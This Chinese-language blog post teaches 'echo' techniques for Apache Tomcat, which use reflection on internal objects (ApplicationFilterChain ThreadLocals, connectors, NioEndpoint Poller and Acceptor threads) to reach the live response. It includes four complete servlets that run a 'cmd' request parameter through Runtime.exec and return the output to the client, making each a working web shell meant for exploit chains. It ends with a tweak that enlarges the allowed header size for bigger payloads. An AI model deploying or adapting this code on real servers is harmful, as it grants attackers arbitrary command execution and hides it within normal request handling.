ThreadLocal Response回显
ThreadLocal类
ThreadLocal 类用于在多线程环境下实现线程局部变量,在 org.apache.catalina.core.ApplicationFilterChain 类中就有这么一个类型的对象,该对象是 ServletRequest 和 ServletResponse 类型的 ThreadLocal 变量

从该变量中我们就可以获取响应内容,还需要注意的是在赋值时判断了 ApplicationDispatcher.WRAP_SAME_OBJECT 的值,该值是布尔类型,默认值为false
回显分析
我们需要对 lastServicedRequest、lastServicedResponse、ApplicationDispatcher.WRAP_SAME_OBJECT 通过反射来修改值
try {
Field wrapSameObjectField = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrapSameObjectField, wrapSameObjectField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
wrapSameObjectField.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
if (!wrapSameObjectField.getBoolean(null)){
wrapSameObjectField.setBoolean(null, true);
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
上面的属性我们已经修改过了,接下来我们就是要获取ServletRequest对象
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
需要注意的是,这里我们是获取的ThreadLocal类ServletResponse类型对象
if (lastServicedResponse == null){
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
}
接着我们要判断lastServicedResponse是不是null值,这里我们要提到的一点是我们需要访问两次,第一次通过反射来修改值和赋值,第二次我们才真正的去执行命令并回显
如果lastServicedResponse值为null的话,那么我们就对 lastServicedRequest 和 lastServicedResponse 字段进行赋值
第一次我们访问这个Servlet时,是不会去执行命令回显的,先通过反射修改值和赋值,而第二次访问我们再去执行命令和回显
ServletResponse servletResponse = lastServicedResponse.get();
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ServletRequest servletRequest = lastServicedRequest.get();
String cmd = servletRequest.getParameter("cmd");
通过调用 lastServicedResponse 的 get 方法我们就可以获取到ServletResponse对象,由于后面我们需要获取参数,我们也一并获取lastServicedRequest对象,再获取cmd参数,该参数就是我们需要执行的命令
if (cmd != null) {
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
PrintWriter writer = servletResponse.getWriter();
Field responseField = servletResponse.getClass().getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(servletResponse);
Field usingWriterField = response.getClass().getDeclaredField("usingWriter");
usingWriterField.setAccessible(true);
usingWriterField.set(response, Boolean.FALSE);
writer.write(res);
writer.flush();
writer.close();
}
为了避免空指针问题,先判断有没有cmd参数,后面就是执行命令并获取输入流,使用 \\A 正则表达式从字符串开头开始匹配读取所有输入流,调用 next 方法读取获取的内容
通过调用 servletResponse.getWriter() 获取PrintWriter对象


该servletResponse对象其实是 ResponseFacade 类,通过反射获取 servletResponse 对象的 response 属性得到 Response 对象
由于调用 servletResponse.getWriter() 时会将 usingWriter 属性值设置为true,这种情况有时候会报错,有时候又正常,没有仔细分析过原因,我们通过反射来设置 usingWriter 属性值为false
最后将上面读取执行命令的内容发送到客户端文本响应

回显实现
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
@WebServlet("/response")
public class Tomcat_Echo_Response extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{
try {
Field wrapSameObjectField = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrapSameObjectField, wrapSameObjectField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
wrapSameObjectField.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
// 设置值
if (!wrapSameObjectField.getBoolean(null)){
wrapSameObjectField.setBoolean(null, true);
}
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
if (lastServicedResponse == null){
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
}else{
ServletResponse servletResponse = lastServicedResponse.get();
ThreadLocal<ServletRequest> lastServicedRequest =
(ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ServletRequest servletRequest = lastServicedRequest.get();
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
PrintWriter writer = servletResponse.getWriter();
Field responseField = servletResponse.getClass().getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(servletResponse);
Field usingWriterField = response.getClass().getDeclaredField("usingWriter");
usingWriterField.setAccessible(true);
usingWriterField.set(response, Boolean.FALSE);
writer.write(res);
writer.flush();
writer.close();
}
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
存在的问题
在 ApplicationFilterChain 类 internalDoFilter 方法中,精简代码如下:
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this); // 漏洞触发点
} catch (...)
...
}
}
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response); // 回显点
}
if (...){
...
} else {
servlet.service(request, response);
}
} catch (...) {
...
} finally {
...
}
根据上面的代码知道,我们上面在使用ThreadLocal Response回显时是在12行开始的,如果漏洞触发点是在第6行,我们就无法使用ThreadLocal Response回显
全局Response回显
上面的ThreadLocal Response是比较依赖Tomcat的代码处理流程的,如果漏洞是在 lastServicedRequest 和 lastServicedResponse 对象调用 set() 方法之前的,我们就没有办法利用了
那我们现在就要改变思路,不通过反射来修改这些值,也不通过ThreadLocal Response回显方法来利用了,而去找全局能获取到的Request和Response对象
调用栈
doGet:48, Tomcat_Echo_Response
service:655, HttpServlet (javax.servlet.http)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)
为了方便查看调用栈的调用情况,贴出上面ThreadLocal Response回显的调用栈
寻找Response
我们都知道,Tomcat处理HTTP请求的入口是在 org.apache.coyote.http11.Http11Processor 类中,该类继承了 AbstractProcessor 类

在其父类 AbstractProcessor 中有 Request 和 Response 属性且是final类型的,赋值了就不会改变其属性,那么我们如何获取到这两个属性呢?由于这两个属性不是静态变量,不能直接获取,我们直接去找哪里有 Http11Processor 对象即可

在 AbstractProtocol 类的内部类 ConnectionHandler#process() 方法中获取了 Http11Processor 对象,在该对象里有 request 和 response 属性,随后调用 register() 方法,跟进方法看看




在该方法里获取了 Http11Processor 类对象的 reqProcessorMX 属性,该属性是 RequestInfo 类对象,后面接着调用了这个类对象的 setGlobalProcessor() 方法

调用这个方法的参数是 global 属性,该属性是 RequestGroupInfo 类对象


在 RequestInfo.setGlobalProcessor() 方法中,将该方法的参数global赋值给了 RequestInfo 类的 global 属性,又调用参数global的 addRequestProcessor() 方法,参数是 RequestInfo 类对象本身
我们只需要获取到 global 属性即可获取到 response 对象,而 global 是 AbstractProtocol 类 ConnectionHandler 内部类的属性,那么我们需要找到存储了 AbstractProtocol 类及其子类的对象

在调用栈 CoyoteAdapter 类 service() 方法中,connector 属性为 Connector 类,该属性类对象的 protocolHandler 属性是 Http11NioProtocol 类对象,在该类对象中有一个 handler 属性是 AbstractProtocol$ConnectionHandler 类,这样我们就找到了
目前我们依次获取对象即可获取到 response 对象
connector -> protocolHandler -> handler -> AbstractProtocol$ConnectoinHandler -> global -> RequestInfo -> req -> response
获取Connector对象
那么 connector 对象我们如何获取呢?
在Tomcat服务器启动时,会将connector对象添加到 StandardService 对象中,我们来具体看下怎么添加的
代码位于 org.apache.catalina.startup.Tomcat.java 中



这样的话,我们还需要获取到 StandardService 对象才行,向下获取链就依次如下:
StandardService -> connectors[] -> connector -> protocolHandler -> handler -> AbstractProtocol$ConnectoinHandler -> global -> RequestInfo -> req -> response
获取StandardService对象

参考网上的文章,看这一张图,最外层是Tomcat Server服务器,网上一致给出的答案是获取当前线程的ContextClassLoader,其实就是WebAppClassLoader

其WebAppClassLoader中有一个属性 service 就是 StandardService 对象
向下获取链如下:
WebAppClassLoader -> resources -> context -> context -> StandardService -> connectors[] -> connector -> protocolHandler -> handler -> AbstractProtocol$ConnectoinHandler -> global -> RequestInfo -> req -> response
实现全局Response回显
获取WebAppClassLoaderBase和StandardContext
不同Tomcat版本获取WebAppClassLoaderBase的resources属性方式不一样,高版本可能获取到的是null,所以需要一种通用的解决方案
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
这里我们获取了WebAppClassLoaderBase对象,再获取了StandardContext对象
如果调用 getResources() 方法返回的是null,说明在你使用的Tomcat高版本中已经弃用了该方法,想要获取该属性就需要通过反射来获取
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
WebResourceRoot resources = (WebResourceRoot) resourcesField.get(webappClassLoaderBase);
StandardContext standardContext = (StandardContext) resources.getContext();
获取ApplicationContext
Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(standardContext);
从 StandardContext 对象中获取的 context 属性就是 ApplicationContext 对象
获取StandardService对象
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext);
获取StandardService对象的connectors属性
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
获取AbstractProtocol对象的handler属性
ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
这里handler属性是AbstractProtocol内部类ConnectoinHandler,这个内部类实现了AbstractEndpoint.Handler接口
获取ConnectoinHandler内部类的global属性
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestInfo requestInfo = (RequestInfo) globalField.get(handler);
获取RequestGroupInfo对象的processors属性
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
获取RequestInfo的req属性
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
获取HttpServletRequest和HttpServletResponse对象回显
for (RequestInfo requestInfo : processors){
org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
String cmd = http_request.getParameter("cmd");
PrintWriter writer = response.getWriter();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
}


通过调用 getNote() 方法获取 org.apache.catalina.connector.Request 类对象,在该对象下有一个 response 属性,该属性是 org.apache.catalina.connector.Response 类型,而 org.apache.catalina.connector.Request 类和 org.apache.catalina.connector.Response 类都分别实现了HttpServletRequest和HttpServletResponse接口,后续我们就可以直接回显命令执行后的内容了
回显实现
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
@WebServlet("/response2")
public class Tomcat_Echo_Response2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp){
try {
// 获取WebAppClassLoaderBase和StandardContext
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
WebResourceRoot resources = (WebResourceRoot) resourcesField.get(webappClassLoaderBase);
StandardContext standardContext = (StandardContext) resources.getContext();
// 获取ApplicationContext
Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(standardContext);
// 获取StandardService
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext);
// 获取StandardService的connectors属性
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
// 获取AbstractProtocol的protocolHandler属性
ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
// 获取ConnectoinHandler内部类的global属性
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
// 获取RequestGroupInfo对象的processors属性
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
// 获取RequestInfo对象的req属性
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// 获取HttpServletRequest和HttpServletResponse对象
for (RequestInfo requestInfo : processors){
org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
String cmd = http_request.getParameter("cmd");
PrintWriter writer = response.getWriter();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
}
}catch (Exception e){
e.printStackTrace();
}
}
}

通用Tomcat版本回显
在上面我们提到,在高版本Tomcat中使用全局回显是会存在一些问题的,我们就需要找一种通用的方式来回显
在全局Response回显中,我们真正来获取request对象是在获取AbstractProtocol内部类ConnectoinHandler的handler属性开始


在 org.apache.tomcat.util.net.AbstractEndpoint 抽象类中有一个内部接口 Handler,该接口实现自AbstractProtocol内部类ConnectoinHandler
所以我们只需要获取到 AbstractEndpoint 抽象类对象就能获取到AbstractProtocol内部类ConnectoinHandler
AbstractEndpoint 抽象类是不能被实例化的,因此我们只能找到其子类

这里我们选择 NioEndpoint 类,该类是Apache Tomcat中的一个关键类,它是Tomcat的 NIO(New I/O)模块的一部分,用于处理基于NIO的网络通信
这里可以从当前线程所属线程组中获取到该对象,也有两种办法
通过Poller类对象获取NioEndpoint对象


在当前线程所属线程组中找到一个线程的 target 属性为 NioEndpoint 类的内部类 Poller 类对象,发现该属性下面有个 this$0 属性,这个属性是 Poller 外部类的引用,也就是 NioEndpoint 类
那么向下获取链就如下:
Thread.currentThread().getThreadGroup() -> theads[] -> thread -> target -> NioEndpoint$Poller -> NioEndpoint -> AbstractProtocol$ConnectoinHandler -> global -> RequestInfo -> req -> response
从当前线程中获取线程组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
遍历线程组中的所有线程
for (Thread thread : threads){
if (thread.getClass() == Thread.class){
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
这里对线程组进行遍历并判断了每个线程类是否是Thread类,因为在DEBUG调试时,发现我们需要用到的线程类是Thrad这里进行一个过滤,然后再获取 target 属性
获取NioEndpoint类Poller子类外部类的引用
if (target != null && target.getClass() == NioEndpoint.Poller.class){
Field this0Field = Class.forName("org.apache.tomcat.util.net.NioEndpoint$Poller").getDeclaredField(
"this$0");
this0Field.setAccessible(true);
Object this0 = this0Field.get(target);
还需要对 target 属性的类型进行判断,这里我们只要 NioEndpoint$Poller 类,后面就是获取 NioEndpoint 类的 Poller 子类的外部类的引用,也就是 NioEndpoint 类
获取AbstractEndpoint类中的handler属性
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this0);
获取AbstractEndpoint类的handler属性就是 AbstractProtocol 类的 ConnectionHandler 子类,后续的话和全局Response回显后半段一样
实现代码
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.NioEndpoint;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
@WebServlet("/response3")
public class Tomcat_Echo_Response3 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp){
try {
// 从当前线程中获取线程组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
// 遍历线程组中的所有线程
for (Thread thread : threads){
// 判断线程是否是Thread类
if (thread.getClass() == Thread.class){
// 获取该线程中的target属性
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
// 判断target属性是否是NioEndpoint类Poller子类
if (target != null && target.getClass() == NioEndpoint.Poller.class){
// 获取NioEndpoint类Poller子类外部类的引用,也就是NioEndpoint类
Field this0Field = Class.forName("org.apache.tomcat.util.net.NioEndpoint$Poller").getDeclaredField(
"this$0");
this0Field.setAccessible(true);
Object this0 = this0Field.get(target);
// 获取AbstractEndpoint类中的handler属性,其属性是AbstractProtocol类ConnectionHandler子类
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this0);
// 获取ConnectoinHandler内部类的global属性
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
// 获取RequestGroupInfo对象的processors属性
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
// 获取RequestInfo对象的req属性
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// 获取HttpServletRequest和HttpServletResponse对象
for (RequestInfo requestInfo : processors){
org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
String cmd = http_request.getParameter("cmd");
PrintWriter writer = response.getWriter();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
}
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
通过Acceptor类对象获取NioEndpoint对象


这个方法貌似更顺畅一些,直接就可以获取到 AbstractProtocol$ConnectionHandler 类
获取Acceptor类的endpoint属性
if (target != null && target.getClass() == Acceptor.class){
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);
这里很简单了,在 Acceptor 类中获取 endpoint 属性,之后就和 Poller 类获取 handler 属性一样了,就不过多介绍了
实现代码
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.Acceptor;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
@WebServlet("/response4")
public class Tomcat_Echo_Response4 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp){
try {
// 从当前线程中获取线程组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
// 遍历线程组中的所有线程
for (Thread thread : threads){
// 判断线程是否是Thread类
if (thread.getClass() == Thread.class){
// 获取该线程中的target属性
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
// 判断target属性是否是Acceptor子类
if (target != null && target.getClass() == Acceptor.class){
// 获取Acceptor类的endpoint属性
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
// 获取AbstractEndpoint类中的handler属性,其属性是AbstractProtocol类ConnectionHandler子类
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);
// 获取ConnectoinHandler内部类的global属性
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
// 获取RequestGroupInfo对象的processors属性
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
// 获取RequestInfo对象的req属性
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// 获取HttpServletRequest和HttpServletResponse对象
for (RequestInfo requestInfo : processors){
org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
String cmd = http_request.getParameter("cmd");
PrintWriter writer = response.getWriter();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
}
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
HTTP数据包过长
在某些大佬的博客中提到了使用通用Tomcat回显方法可能会导致性能问题,设置HTTP请求包头最大的大小来解决该问题
Field maxHttpHeaderSizeField = Class.forName("org.apache.coyote.http11.AbstractHttp11Protocol").getDeclaredField("maxHttpHeaderSize");
maxHttpHeaderSizeField.setAccessible(true);
maxHttpHeaderSizeField.set(null, 1024 * 1024);
Author: wileysec
Permalink: https://wileysec.github.io/a22ba09b7177.html
Comments